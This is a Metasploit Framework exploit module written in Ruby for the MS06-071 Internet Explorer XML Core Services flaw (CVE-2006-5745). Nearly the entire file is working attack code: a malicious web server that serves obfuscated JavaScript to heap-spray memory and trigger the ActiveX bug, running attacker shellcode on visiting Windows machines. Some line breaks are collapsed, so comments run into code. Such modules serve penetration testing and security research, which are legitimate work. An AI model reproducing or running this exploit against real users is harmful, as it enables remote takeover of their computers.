### $Id: ms06_071_xml_core.rb 9669 2010-07-03 03:13:45Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,'Name' => 'Internet Explorer XML Core Services HTTP Request Handling','Description'=> %q{
This module exploits a code execution vulnerability in Microsoft XML Core Services which
exists in the XMLHTTP ActiveX control. This module is the modifed version of
http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully
tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6
+ Microsoft XML Core Services 4.0 SP2.},'License'=> MSF_LICENSE,'Author' =>
['Trirat Puttaraksa <trir00t [at] gmail.com>',],'Version'=> '$Revision: 9669 $','References' =>
[['CVE','2006-5745'],['OSVDB','29425'],['MSB','MS06-071'],['BID','20915'],],'Payload'=>
{'Space'=> 1024,'BadChars' => "\x00",},'Platform' => 'win','Targets'=>
[['Windows 2000 SP4 -> Windows 2003 SP0',{'Ret' => 0x0c0c0c0c}]],'DefaultTarget'=> 0,'DisclosureDate' => 'Oct 10 2006'))end
def on_request_uri(cli, request)# Re-generate the payloadreturnif((p = regenerate_payload(cli)) == nil)# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))# Get a unicode friendly version of the return address
addr_word= [target.ret].pack('V').unpack('H*')[0][0,4]# Randomize the javascript variable names
var_buffer= rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape= rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_size= rand_text_alpha(rand(30)+2)
var_nopsize = rand_text_alpha(rand(30)+2)
var_limit = rand_text_alpha(rand(30)+2)
var_obj = rand_text_alpha(rand(30)+2)
var_id = rand_text_alpha(rand(30)+2)# Build out the message
content = %Q|
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=#{var_id} classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}">
</object>
<script>
var#{var_unescape}= unescape ;var#{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;var#{var_size} = #{var_shellcode}.length * 2;var#{var_nopsize} = 0x400000 - (#{var_size} + 0x38);var#{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;while(#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;#{var_limit} = (0x12000000 - 0x400000) / 0x400000;var#{var_x} = new Array() ;for(var#{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {#{var_x}[ #{var_i} ] =#{var_buffer} + #{var_shellcode};}var#{var_obj} = null;#{var_obj} = document.getElementById('#{var_id}').object;try{#{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array());}catch(e){};#{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object());#{var_obj}.setRequestHeader( new Object(), '......' );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );#{var_obj}.setRequestHeader( new Object(), 0x12345678 );
</script>
</body>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")# Transmit the response to the client
send_response_html(cli, content)# Handle the payload
handler(cli)endend